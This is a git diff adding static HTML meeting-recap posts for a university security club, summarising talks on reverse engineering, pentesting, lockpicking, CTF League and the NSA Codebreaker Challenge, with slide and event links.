\ No newline at end of file diff --git a/blog/meeting-1-31/index.html b/blog/meeting-1-31/index.html new file mode 100644 index 0000000..5e97e1d --- /dev/null +++ b/blog/meeting-1-31/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 1/31

Meeting 1/31

Zander Work

Tags

Today we talked about some basic reverse engineering, and compare/contrasting x86 assembly with C code.

There are some new challenges up on CTFd, rev[1-4]

Link to the slides (requires ONID login)

\ No newline at end of file diff --git a/blog/meeting-10-04-23.jpg b/blog/meeting-10-04-23.jpg new file mode 100644 index 0000000..ae0faa6 Binary files /dev/null and b/blog/meeting-10-04-23.jpg differ diff --git a/blog/meeting-10-04-23/index.html b/blog/meeting-10-04-23/index.html new file mode 100644 index 0000000..d9fa38a --- /dev/null +++ b/blog/meeting-10-04-23/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 10/04/23

Meeting 10/04/23

Casey Colley

Tags

Screenshot of the first slide of the "welcome back" meeting.

Howdy hackers!

Thanks for showing up last night, and staying flexible with us! I know we weren’t able to host the meeting we wanted at the last minute, but hopefully you got to enjoy some memes, learn about the club, and possibly pick a lock for the first time! We hope to see you again in more meetings throughout the term. Please feel free to reach out to any officer if you have questions or need help!

Link to tonight’s slides (requires ONID login): https://docs.google.com/presentation/d/1W-R7auBxMlQU2uXMH5_rilnfyhgC6zltCmrFXmS4Wok/edit?usp=sharing

Watch out for next week’s meeting, where one of our members will be presenting on how he used his pwn skills in order to set a SuperMetroid speedrun record!

\ No newline at end of file diff --git a/blog/meeting-10-11-23.jpg b/blog/meeting-10-11-23.jpg new file mode 100644 index 0000000..4d407e0 Binary files /dev/null and b/blog/meeting-10-11-23.jpg differ diff --git a/blog/meeting-10-11-23/index.html b/blog/meeting-10-11-23/index.html new file mode 100644 index 0000000..8d62eef --- /dev/null +++ b/blog/meeting-10-11-23/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 10/11/23

Meeting 10/11/23

Casey Colley

Tags

Art of the SuperMetroid logo

Howdy hackers!

Last night, we had the fantastic Jonathan Keller give a talk about how he used his pwn skills in order to get a world record in a Tool Assisted Speedrun of Super Metroid! Thank you everyone who showed up :) He discussed the game’s internal mechanics, how the exploit works, and his experience developing the real-world exploit as a cybersecurity student and as someone who enjoys retro games.

To watch the talk, please see: https://www.youtube.com/watch?v=Ffx63JKKdd4

To watch the speedrun itself, see: https://tasvideos.org/8214S

\ No newline at end of file diff --git a/blog/meeting-10-11/index.html b/blog/meeting-10-11/index.html new file mode 100644 index 0000000..63b9b96 --- /dev/null +++ b/blog/meeting-10-11/index.html @@ -0,0 +1,9 @@ + +Codestin Search App

Meeting 10/11

Meeting 10/11

Zander Work

Tags

Thanks Zach for the awesome presentation tonight on Network Security Monitoring! I’ll update this post with a link to the slides once they are available.

Announcements from tonight’s meeting:

Make sure you are on Discord/SLI. Links are on the homepage for those.
+We will be hosting NetSPI on November 1st. They will be bringing pizza, so please RSVP for this so we can get a head count and information on dietary restrictions. [Link to RSVP.](https://goo.gl/forms/Fohnjj3YkDuaVPF03) The deadline to RSVP is 10/25.
+HitconCTF is this weekend! We have reserved KEC 1003 for the duration of the event, and will be collaboratively working on challenges throughout the weekend. Feel free to stop by (we may or may not have pizza/other fun things ;), Fri @7pm – Sun @7pm. Make sure that you get the @CTF tag on Discord to get access to those channels (#info for info on that).
+
\ No newline at end of file diff --git a/blog/meeting-10-18-23/index.html b/blog/meeting-10-18-23/index.html new file mode 100644 index 0000000..5ab5af2 --- /dev/null +++ b/blog/meeting-10-18-23/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 10/18/23

Meeting 10/18/23

Casey Colley

Tags

Ni Haowdy!

Last night, we hosted Dr. Kelsey Fulton of the Colorado School of Mines. They talked about their research into the why and the how that software developers introduce security vulnerabilities into their code, and some potential solutions for it. We had some great conversations about the attitudes in software development spaces and how we might be able to change that for the future. Please reach out to Dr. Fulton if you are interested in working with them on further research!

Watch out for next week’s meeting which will feature Battelle talking about the sort of cyber work they do!

\ No newline at end of file diff --git a/blog/meeting-10-25-23.jpg b/blog/meeting-10-25-23.jpg new file mode 100644 index 0000000..96826bf Binary files /dev/null and b/blog/meeting-10-25-23.jpg differ diff --git a/blog/meeting-10-25-23/index.html b/blog/meeting-10-25-23/index.html new file mode 100644 index 0000000..9751c9d --- /dev/null +++ b/blog/meeting-10-25-23/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 10/25/23

Meeting 10/25/23

Casey Colley

Tags

Battelle's logo and motto

Good Thursday, members!

Last night we got to hear from Isabel Boona from Battelle! She presented on her work in reverse-engineering microchips, and how her previous work in materials science helped her transition into this unique line of work! This work is especially important when verifying that systems have been built without unintentional bugs and malicious backdoors.

Battelle is one of the largest non-profits dedicated to research in the United States, and manages many of the National Laboratories on behalf of the Department of Energy, as well as doing Top Secret contract work with the federal government. They are a frequent presence at the cybersecurity competitions that OSUSEC attends, so we’re very happy to have had them present this week!

If you’re interested in a clearance job or internship next Summer, please check out Battelle’s openings here: https://jobs.battelle.org/us/en/cyber.

\ No newline at end of file diff --git a/blog/meeting-10-25/index.html b/blog/meeting-10-25/index.html new file mode 100644 index 0000000..a16a13f --- /dev/null +++ b/blog/meeting-10-25/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 10/25

Meeting 10/25

Zander Work

Tags

Thanks to Emily for the great talk on SIEMs (Security Incident and Event Management)! Here is a link to the slides.

Announcements from tonight’s meeting:

  • Make sure to RSVP for the NetSPI event happening next week (during our normal meeting time)! Here is a link to the form. Oct. 25 is the last day to RSVP.
  • Those of you on the team for Cyberforce Competition, make sure to send your badge forms to PNNL.
  • I forgot to include Thanksgiving break on the club calendar, so the last meeting for the term will be on 11/25.
\ No newline at end of file diff --git a/blog/meeting-10-4/index.html b/blog/meeting-10-4/index.html new file mode 100644 index 0000000..c82c40a --- /dev/null +++ b/blog/meeting-10-4/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 10/4

Meeting 10/4

Zander Work

Tags

Thanks to Akshith for a great presentation on Blockchain! For those of you who were unable to make it, here is a link to the slides: https://drive.google.com/file/d/1-PVTrV6JO6DFnFFz415_JvZ52J-DXJqw/view?usp=sharing

Announcements from today’s meeting:

  • If you are interested in working in the Information Security Office here at OSU, make sure to apply here: https://jobs.oregonstate.edu/postings/67398. If you have any questions, please contact Emily Longman.
  • No meeting next week (10/11)
  • Applications for Cyberforce Competition will close on October 10th, please fill that out if you are interested: https://goo.gl/forms/0th88giiAz6TbMSt2
  • Make sure you register with the club on SLI and join the Discord server! There are links for both on the homepage.
\ No newline at end of file diff --git a/blog/meeting-11-01-23.jpg b/blog/meeting-11-01-23.jpg new file mode 100644 index 0000000..a83510f Binary files /dev/null and b/blog/meeting-11-01-23.jpg differ diff --git a/blog/meeting-11-01-23/index.html b/blog/meeting-11-01-23/index.html new file mode 100644 index 0000000..6475e07 --- /dev/null +++ b/blog/meeting-11-01-23/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 11/01/23

Meeting 11/01/23

Casey Colley

Tags

Photo of member Lucas Ball showing off challenge coins from various competitions

Happy start of winter, members!

Last night, we held a working party for the NSA Codebreaker Challenge! Lucas introduced each of the tasks and discussed the rewards for high-achievers and solvers. Lucas also showcased some of the challenge coins available from other competitions that we have participated and placed in. The Challenge is a great opportunity for beginners and skilled hackers alike; the tasks steadily increase in difficulty and are a fantastic way to learn something new!

The NSA Codebreaker Challenge will run until December 21st! For more information, please see the NSA Codebreaker website!

\ No newline at end of file diff --git a/blog/meeting-11-01/index.html b/blog/meeting-11-01/index.html new file mode 100644 index 0000000..0dab1d7 --- /dev/null +++ b/blog/meeting-11-01/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 11/01

Meeting 11/01

Zander Work

Tags

Thanks to Karl Fosaaen from NetSPI for the awesome presentation on an introduction to penetration testing! Remember, if you want to learn about these things on your own, please make sure to do it on your own network and devices. I’ll update this post with a link to the slides when they become available.

I don’t have any announcements for this week, so I’ll see you all next week!

\ No newline at end of file diff --git a/blog/meeting-11-08-23.jpg b/blog/meeting-11-08-23.jpg new file mode 100644 index 0000000..93615ff Binary files /dev/null and b/blog/meeting-11-08-23.jpg differ diff --git a/blog/meeting-11-08-23/index.html b/blog/meeting-11-08-23/index.html new file mode 100644 index 0000000..8d98fcd --- /dev/null +++ b/blog/meeting-11-08-23/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 11/08/23

Meeting 11/08/23

Casey Colley

Tags

Photo of OSUSEC students picking some locks.

Ni Haowdy members!

Last night, we had our first lockpicking meeting of the school year! Zane led us through an introduction to lockpicking and the various locks we have. Lockpicking is a great outlet for puzzle-solving as well as a practical tool if you are ever locked out of our apartment :)

We will continue to have lockpicking meetings throughout the year, so keep an eye out for the next one!

\ No newline at end of file diff --git a/blog/meeting-11-15/index.html b/blog/meeting-11-15/index.html new file mode 100644 index 0000000..ac3546f --- /dev/null +++ b/blog/meeting-11-15/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 11/15

Meeting 11/15

Zander Work

Tags

Thanks for a great last meeting for the Fall term!

I gave a talk on all of the low-level architecture and x86 assembly content needed to get started with binary pwning, here is a link to the slides. Hopefully, this is enough to get you all started!

Have a great winter break!

\ No newline at end of file diff --git a/blog/meeting-2-14/index.html b/blog/meeting-2-14/index.html new file mode 100644 index 0000000..25288fa --- /dev/null +++ b/blog/meeting-2-14/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 2/14

Meeting 2/14

Zander Work

Tags

Tonight I went over some basic usage of GDB, IDA Pro, and pwntools for solving the first pwnables on our CTF site.

Link to the slides (requires ONID login). The slides have information on getting the tools installed, so if you are having issues with that, check the slides out.

\ No newline at end of file diff --git a/blog/meeting-2-21/index.html b/blog/meeting-2-21/index.html new file mode 100644 index 0000000..11189d1 --- /dev/null +++ b/blog/meeting-2-21/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 2/21

Meeting 2/21

Zander Work

Tags

Tonight we hosted Karl Fosaaen from NetSPI, and he gave an awesome talk on pentesting in an Azure environment.

If you’re interested in learning more about this, check out the NetSPI blog or the Azure pentesting book he mentioned. Karl’s post on using Azure RunAs certificates is now live here.

\ No newline at end of file diff --git a/blog/meeting-2-28-osusec-lab/index.html b/blog/meeting-2-28-osusec-lab/index.html new file mode 100644 index 0000000..b42965d --- /dev/null +++ b/blog/meeting-2-28-osusec-lab/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 2/28 - OSUSEC Lab

Meeting 2/28 - OSUSEC Lab

Zander Work

Tags

Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information about the lab environment, please see the dedicated page for it.

\ No newline at end of file diff --git a/blog/meeting-2-7/index.html b/blog/meeting-2-7/index.html new file mode 100644 index 0000000..1fbf1c7 --- /dev/null +++ b/blog/meeting-2-7/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 2/7

Meeting 2/7

Zander Work

Tags

Today we continued discussing reverse engineering and introduced 64-bit assembly. There are more samples on the GitHub repo.

The only announcement for today is to RSVP for our upcoming event with NetSPI! They will be coming back on 2/21 to do a presentation on penetration testing, and answer any questions you may have. The RSVP is just so I can get a head count for pizza. RSVP here

There are new challenges up on CTFd, rev[1-3]-64.

Link to slides (requires ONID login)

\ No newline at end of file diff --git a/blog/meeting-9-27/index.html b/blog/meeting-9-27/index.html new file mode 100644 index 0000000..abf142f --- /dev/null +++ b/blog/meeting-9-27/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 9/27

Meeting 9/27

Zander Work

Tags

Thanks for the awesome turnout tonight! I’ll make a permanent reservation for that space, as it seems like we have a lot more members this year, which is fantastic!

Here is a link to the slides for tonight’s meeting: https://docs.google.com/presentation/d/1FyKIu0n8VOtbkOpgnoEFbv3iV2xa7JGM1sUMZdFvLKg/edit?usp=sharing (NOTE: you need to sign in with your OSU account to view them)

Please make sure you register with the club via SLI (Link: https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b).

This weekend we (officers) will be revamping the resources page to provide some guidance for those who are brand new to security and those who have been 1337 pwners for years alike. Please check slide #14 for some info on where to get started brand new. If you prefer a more traditional approach to learning, I have heard great things about Cybrary (https://www.cybrary.it/), so check that out as well (NOTE: I haven’t used Cybrary before, so I’m not positive if it lives up to the hype. Please let me know what you think of it).

As I mentioned in the meeting, the Cyberforce Competition is coming up, and if you are interested in being on the team, please fill out this survey by October 10th: https://goo.gl/forms/0th88giiAz6TbMSt2 (NOTE: This also requires that you sign in with your OSU email) Let me know if you guys have any questions, and I’m looking forward to an awesome year!

\ No newline at end of file diff --git a/blog/meeting-notes-1-12/index.html b/blog/meeting-notes-1-12/index.html new file mode 100644 index 0000000..18450ee --- /dev/null +++ b/blog/meeting-notes-1-12/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 1/12

Meeting Notes 1/12

Lyell Read

Tags

Thank you to everyone who attended! This meeting covered the solutions to all NSA Codebreaker 2021 Tasks. I hope everyone enjoyed, questions can always be tossed into the #nsacc-21 channel.

Here are the slides (requires ONID login): Google Slides for 1/12/2021

The next meeting this week is for CTF League on Friday 1/14/2021 @ 6:00pm – 8:00pm, virtually (on Discord).

\ No newline at end of file diff --git a/blog/meeting-notes-1-19/index.html b/blog/meeting-notes-1-19/index.html new file mode 100644 index 0000000..5c1173e --- /dev/null +++ b/blog/meeting-notes-1-19/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 1/19

Meeting Notes 1/19

Lyell Read

Tags

Thank you to everyone who attended! This meeting covered a presentation called “CS271 for Pwning”, an introduction to assembly and shellcoding with a focus on the useful aspects to pwning / binary exploitation.

Here are the slides (requires ONID login): Google Slides for 1/19/2021

The next meeting this week is for CTF League on Friday 1/21/2021 @ 6:00pm – 8:00pm, virtually (on Discord).

\ No newline at end of file diff --git a/blog/meeting-notes-1-26/index.html b/blog/meeting-notes-1-26/index.html new file mode 100644 index 0000000..c9bf117 --- /dev/null +++ b/blog/meeting-notes-1-26/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 1/26

Meeting Notes 1/26

Lyell Read

Tags

Thank you to everyone who attended! This meeting covered an introduction to reverse engineering on x86 64-bit. We covered some key differences between x86 and x86-64, then we examined how typical control flows are compiled to assembly based on the C source code.

Here are the slides (requires ONID login): Google Slides for 1/26/2021

The binary and C code that we looked at during tonight’s talk are posted on GitHub.

The next meetings are as follows:

  • CTF League on Friday 1/28/2021 @ 6:00pm – 8:00pm, virtually (on Discord).
  • OSUSEC General Meeting on 2/2/2022 @ 6:00pm, virtually (on Discord). We will interactively work on a simple reverse engineering challenge on the OSUSEC CTF practice range.
\ No newline at end of file diff --git a/blog/meeting-notes-10-05/index.html b/blog/meeting-notes-10-05/index.html new file mode 100644 index 0000000..d007b21 --- /dev/null +++ b/blog/meeting-notes-10-05/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 10/05

Meeting Notes 10/05

Casey Colley

Tags

Casey Colley explaining business injects of CyberDefense Competitions.

Howdy hackers! Thanks to everyone who showed up, and we hope it was enjoyable and informative! Tonight we introduced Cyber Defense Competitions. We covered some of the skills and areas you would learn by playing in a CDC, what makes them fun, and the career advantages of getting involved in them!

The slides for the meeting are available here: [https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html]https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html

Wish the Cyberforce team luck on November 4th-5th, and be sure to keep an eye out for an announcement about PRCCDC tryouts in mid-late November!

Other events coming up:

  • October 7th: BSidesPDX CTF and conference
  • November 4th-5th: DoE’s Cyberforce Competition
  • November 19th: CPTC Western Regionals
  • Ongoing: NSA Codebreaker Challenge
\ No newline at end of file diff --git a/blog/meeting-notes-10-1/index.html b/blog/meeting-notes-10-1/index.html new file mode 100644 index 0000000..dddda19 --- /dev/null +++ b/blog/meeting-notes-10-1/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 10/1

Meeting Notes 10/1

Lyell Read

Tags

Thank you to everyone for coming to our first meeting this year! We had well over our expected 70 people in attendance. We introduced OSUSEC, what we do, how our Discord server works, as well as some ethics. We introduced members to Capture The Flag, and we delved into the first CTF League challenge of the year, a web challenge!

Here are the slides (requires ONID login): Google Slides for 10/1/2021

Next week we have two meetings:

  • General club meeting for Introduction to Lockpicking: Wednesday 10/6/2021 @ 6:00PM in LINC 307. Here we will have various locks to try to pick open, starting with easy locks, and moving to harder ones.
  • CTF League meeting: Friday 10/8/2021 @ 6:00PM in KEC 1003/1005/1007. This meeting will present the next challenge for CTF League. We aim to have the team distribution process streamlined.
\ No newline at end of file diff --git a/blog/meeting-notes-10-12/index.html b/blog/meeting-notes-10-12/index.html new file mode 100644 index 0000000..9c803b0 --- /dev/null +++ b/blog/meeting-notes-10-12/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 10/12

Meeting Notes 10/12

Casey Colley

Tags

Matt Jansen and Jake Johanson dive deeper after finishing the same task.

Howdy hackers! Thanks to everyone who showed up tonight! Tonight we introduced the NSA Codebreaker Challenge, and held a work party. Hopefully you were able to make some progress on Tasks in a focused environment and get free dinner! We covered previous year’s Codebreaker themes, the NSA’s mission and how that inspires the Challenge, and introduced the different tools that the NSA recommends to approach the Challenge with.

The slides for the meeting are available here (ONID required): https://docs.google.com/presentation/d/1HbtQQt2e33hwHUMCEe7rgTT3NRyO9enD_3iU1BWYgK0/

Other events coming up:

  • November 4th-5th: DoE’s Cyberforce Competition
  • November 19th: CPTC Western Regionals
  • Ongoing: NSA Codebreaker Challenge
\ No newline at end of file diff --git a/blog/meeting-notes-10-19/index.html b/blog/meeting-notes-10-19/index.html new file mode 100644 index 0000000..07f24cc --- /dev/null +++ b/blog/meeting-notes-10-19/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 10/19

Meeting Notes 10/19

Casey Colley

Tags

OSUSEC members try an intro pwn challenge, including 1337 hackors Alex Marx and Milan Donhowe

Howdy hackers! Hope your week 4 is going well. Tonight Cameron introduced Reversed Engineering (“Rev”) challenges and how to pwn them. Rev and pwn challenges are a staple of CTF competitions, and we covered a few of the most critical tools in your arsenal for approaching them. We also walked you through an introductory pwn challenge called rev01 that is hosted on our CTF Practice Range. We hope you were able to walk away with some new skills.

The slides for the meeting are available here (ONID required): https://docs.google.com/presentation/d/1muZ2NoANPFD2ysk1QscMxl6qo8bAzM1nVBNcnc20rGk/edit?usp=sharing

Next week’s meeting will be a lock-picking meeting! So bring your lock-pick sets if you have them, and we’ll supply the locks (and pick sets if you don’t have one).

Other events coming up:

  • November 4th-5th: DoE’s Cyberforce Competition
  • November 19th: CPTC Western Regionals
  • Ongoing: NSA Codebreaker Challenge
\ No newline at end of file diff --git a/blog/meeting-notes-10-27/index.html b/blog/meeting-notes-10-27/index.html new file mode 100644 index 0000000..a3f7051 --- /dev/null +++ b/blog/meeting-notes-10-27/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 10/27

Meeting Notes 10/27

Lyell Read

Tags

Thank you to everyone who attended! This meeting covered an introduction to NSA Codebreaker Challenge, including some common tools and strategies used to solve challenges 0-6.

Here are the slides (requires ONID login): Google Slides for 10/27/2021

The next couple meetings will be as follows:

  • CTF League on Friday 10/29/2021 @ 6:00pm – 8:00pm in KEC 1003. We will be having pizza outside the room first (likely outside or in the atrium – see the CTF League Discord), followed by breaking up into teams and playing this week’s OSINT challenge by Cameron!
  • Speaking of OSINT, Cameron will present a talk all about real world OSINT investigation strategies this coming Wednesday 11/3/2021 @ 6:00pm in KEC 1003 with a real world example. There will be an interactive component where you get to try out these strategies yourself, so bring your laptop!
\ No newline at end of file diff --git a/static/blog/meeting-notes-10-3.jpg b/blog/meeting-notes-10-3.jpg similarity index 100% rename from static/blog/meeting-notes-10-3.jpg rename to blog/meeting-notes-10-3.jpg diff --git a/blog/meeting-notes-10-3/index.html b/blog/meeting-notes-10-3/index.html new file mode 100644 index 0000000..907b8fe --- /dev/null +++ b/blog/meeting-notes-10-3/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 10/3

Meeting Notes 10/3

Zander Work

Tags

Photo of classroom full of students, many of which have laptops out

Thanks for the great turnout again tonight! We went over some tools you can use for the NSA Codebreaker challenge.

Here is a link to the slides (requires ONID sign-in): Google Slides

Next week’s CTF meeting is slightly changed, it will be at 7pm in KEC 1003 on Tuesday, 10/8.

\ No newline at end of file diff --git a/blog/meeting-notes-10-6/index.html b/blog/meeting-notes-10-6/index.html new file mode 100644 index 0000000..b08ee5f --- /dev/null +++ b/blog/meeting-notes-10-6/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 10/6

Meeting Notes 10/6

Lyell Read

Tags

Thank you to all the members that attended this meeting! We covered lockpicking basics, legality and ethics, before Ryan presented a live demonstration of picking a lock. Then, each table had a selection of locks of increasing difficulty and tools to try to pick them with.

Here are the slides (requires ONID login): Google Slides for 10/6/2021

Next week (week of 10/11) we have two meetings:

  • Talk by NetSPI about NetSPI U on Wednesday 10/13/2021 @ 6:00pm – 7:00pm. This will be a Virtual talk, the zoom link will be posted in the OSUSEC Discord.
  • CTF League on Friday 10/15/2021 @ 6:00pm – 8:00pm in KEC 1003. We will be having pizza outside the room first (likely outside or in the atrium – see the CTF League Discord), followed by breaking up into teams by team number just as we did last Friday.
\ No newline at end of file diff --git a/static/blog/meeting-notes-11-02.jpg b/blog/meeting-notes-11-02.jpg similarity index 100% rename from static/blog/meeting-notes-11-02.jpg rename to blog/meeting-notes-11-02.jpg diff --git a/blog/meeting-notes-11-02/index.html b/blog/meeting-notes-11-02/index.html new file mode 100644 index 0000000..036b14d --- /dev/null +++ b/blog/meeting-notes-11-02/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 11/02

Meeting Notes 11/02

Casey Colley

Tags

NetSPI logo

Howdy hackers! Welcome to the second half of Fall term! Tonight we hosted NetSPI: Senior Director Karl Fosaaen and Security Consultant (and former club member) Michael Jereza. They walked us through penetration testing as a career, what work is like at NetSPI, their NetSPI University program, and some entertaining stories from their pentesting work! We hope you had fun and walked away with an enthusiasm for pentesting. If you enjoyed this, definitely think about getting involved with our CPTC team!

The slides for the meeting are available here: https://www.osusec.org/wp-content/uploads/2022/11/2021_Pentesting-intro-and-NetSPIU-powerpoint.pdf

Next week’s meeting, I’ll be presenting on Security for Software Developers.

Other events coming up:

  • November 5th: DoE’s Cyberforce Competition
  • November 4th-6th: Competing in Ohio State Uni’s “Buckeye” CTF
  • November 19th: CPTC Western Regionals
  • Ongoing: NSA Codebreaker Challenge
\ No newline at end of file diff --git a/static/blog/meeting-notes-11-09.jpg b/blog/meeting-notes-11-09.jpg similarity index 100% rename from static/blog/meeting-notes-11-09.jpg rename to blog/meeting-notes-11-09.jpg diff --git a/blog/meeting-notes-11-09/index.html b/blog/meeting-notes-11-09/index.html new file mode 100644 index 0000000..8444230 --- /dev/null +++ b/blog/meeting-notes-11-09/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 11/09

Meeting Notes 11/09

Casey Colley

Tags

Casey Colley explaining a design of their project to use as an example.

Howdy hackers! Last night, I covered cybersecurity in software development. I talked about how you can incorporate security into each stage of the Software Development Lifecycle, some examples of how that has gone wrong in real life software projects, and the different mitigations that have come about in an effort to control memory corruption attacks (an example of improper input handling).

The slides for the meeting are available here (ONID required): https://docs.google.com/presentation/d/1lFwF22hw8KivDTW0r4knwspKNSqMVIiPQYHLL5arzxI/edit?usp=sharing

Next week’s meeting, we’ll be having another work party for the NSA Codebreaker Challenge, including another Tech Talk by Matt!

Other events coming up:

  • November 19th: CPTC Western Regionals
  • December 2nd-4th: HackTheBox University CTF
  • December 9th: NSA Codebreaker Challenge ends
\ No newline at end of file diff --git a/blog/meeting-notes-2-2/index.html b/blog/meeting-notes-2-2/index.html new file mode 100644 index 0000000..b854262 --- /dev/null +++ b/blog/meeting-notes-2-2/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 2/2

Meeting Notes 2/2

Lyell Read

Tags

Thank you to everyone who attended tonight’s meeting! We chatted about reverse engineering and binary exploitation (pwn) tools and how to use them, and I demonstrated how to solve the rev01 challenge on the CTF Practice Range at https://ctf.osusec.org.

The slides for the meeting are available here (ONID Login Required): 2/2/2022 Slides

There are some interesting upcoming events which all club members are welcome at:

  • CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term), we will have an awesome, real-world challenge for you to solve. This meeting will be remote, and take place on Discord. For more information, check out: https://www.osusec.org/ctf-league/
  • This weekend we will compete in DiceCTF 2022. Add the CTF role to play using !role add ctf in the #botspam channel and come check out the challenges! There should be a wealth of challenges of all levels, so there’s something for everyone to solve. We will meet remotely over Discord in the voice chats for CTF.
\ No newline at end of file diff --git a/blog/meeting-notes-2-23/index.html b/blog/meeting-notes-2-23/index.html new file mode 100644 index 0000000..cc609b9 --- /dev/null +++ b/blog/meeting-notes-2-23/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 2/23

Meeting Notes 2/23

Lyell Read

Tags

Thank you to everyone who attended tonight’s meeting! We introduced several different CTF categories and what challenges usually look like within those categories. Then, we went over some of the challenges on the CTF Practice Range at https://ctf.osusec.org.

The slides for the meeting are available here (ONID Login Required): 2/23/2022 Slides

Later this week, we have this event coming up:

\ No newline at end of file diff --git a/blog/meeting-notes-2-9/index.html b/blog/meeting-notes-2-9/index.html new file mode 100644 index 0000000..afed1e6 --- /dev/null +++ b/blog/meeting-notes-2-9/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 2/9

Meeting Notes 2/9

Lyell Read

Tags

Thank you to everyone who attended tonight’s meeting! We chatted some more about reverse engineering, discussing the stack layout, function preambles and local variables on the stack. We introduced the rev02 challenge on the CTF Practice Range at https://ctf.osusec.org.

The slides for the meeting are available here (ONID Login Required): 2/9/2022 Slides

We have an interesting event coming up later this week:

\ No newline at end of file diff --git a/blog/meeting-notes-3-2/index.html b/blog/meeting-notes-3-2/index.html new file mode 100644 index 0000000..5063205 --- /dev/null +++ b/blog/meeting-notes-3-2/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 3/2

Meeting Notes 3/2

Lyell Read

Tags

Thank you to everyone who attended tonight’s meeting! We talked about what Wargames are, what their value is, and what some good starter wargames are to play.

The slides for the meeting are available here (ONID Login Required): 3/2/2022 Slides

Later this week, we have this event coming up:

  • CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term). Elastic will be hosting a mini-CTF for us on Friday, it will be an awesome chance to learn about Elastic and win some prizes! For more information about CTF League, check out: https://www.osusec.org/ctf-league/
\ No newline at end of file diff --git a/blog/meeting-notes-3-7/index.html b/blog/meeting-notes-3-7/index.html new file mode 100644 index 0000000..a1ddfa7 --- /dev/null +++ b/blog/meeting-notes-3-7/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes - 3/7

Meeting Notes - 3/7

Zander Work

Tags

Thanks to Kees Cook for an awesome look at kernel security! Kees talked about how the kernel exploit for CVE-2017-7038 was discovered, which allowed privilege escalation due to a heap overflow.

You can see his slides here, which also has information for building the POC images for the exploit.

This was our last meeting for Winter 2019, so I’ll see you all next term! Our first meeting will be on Week 2.

\ No newline at end of file diff --git a/blog/meeting-notes-4-18/index.html b/blog/meeting-notes-4-18/index.html new file mode 100644 index 0000000..c5af880 --- /dev/null +++ b/blog/meeting-notes-4-18/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 4/18

Meeting Notes 4/18

Zander Work

Tags

Tonight I gave a tutorial on IDA Pro basics, and how to get started with this awesome tool. I also released some new binaries on the CTF site for you to practice IDA.

Remember, as a OSU Security Club member you have access to our lab systems, which has the full version of IDA Pro and the Hex-Rays Decompiler installed, so make sure to use those if you want to take advantage of the advanced functionality.

Link to the slides

\ No newline at end of file diff --git a/blog/meeting-notes-5-9/index.html b/blog/meeting-notes-5-9/index.html new file mode 100644 index 0000000..a3e45ec --- /dev/null +++ b/blog/meeting-notes-5-9/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 5/9

Meeting Notes 5/9

Zander Work

Tags

Today we hosted Ryan Gurr and Alex Ryan from Fidelis Cybersecurity, who talked about their experiences and background in information security, and showed a cool demo of Fidelis’s platform.

If you have any questions for Ryan or Alex, please contact them, they said they’d love to answer any questions you may have, related to Fidelis or not. You can get their contact info here.

\ No newline at end of file diff --git a/static/blog/meeting-notes-9-26.jpg b/blog/meeting-notes-9-26.jpg similarity index 100% rename from static/blog/meeting-notes-9-26.jpg rename to blog/meeting-notes-9-26.jpg diff --git a/blog/meeting-notes-9-26/index.html b/blog/meeting-notes-9-26/index.html new file mode 100644 index 0000000..7cbcaed --- /dev/null +++ b/blog/meeting-notes-9-26/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes 9/26

Meeting Notes 9/26

Zander Work

Tags

Image of a classroom full of students, many students have their laptops out

Thanks everyone for coming out to our first meeting! We had over 50 people in attendance, and introduced the OSU Security Club, what we do, what we stand for, our plans for the year, and worked on a couple introductory CTF challenges.

Here is a link to the slides (requires ONID login): Google Slides

Next week we have two meetings:

  • The first CTF meeting is Tuesday, 10/1 @ 6:30pm in KEC 1005. We will be going over our standard tool/VM configuration, and go through some challenges from the CSAW qualifiers
  • The next general meeting is Thursday, 10/3 @ 7pm in KEC 1003. We will be showing some cool tools that you can use to solve Tasks 1-3 of the Codebreaker Challenge.
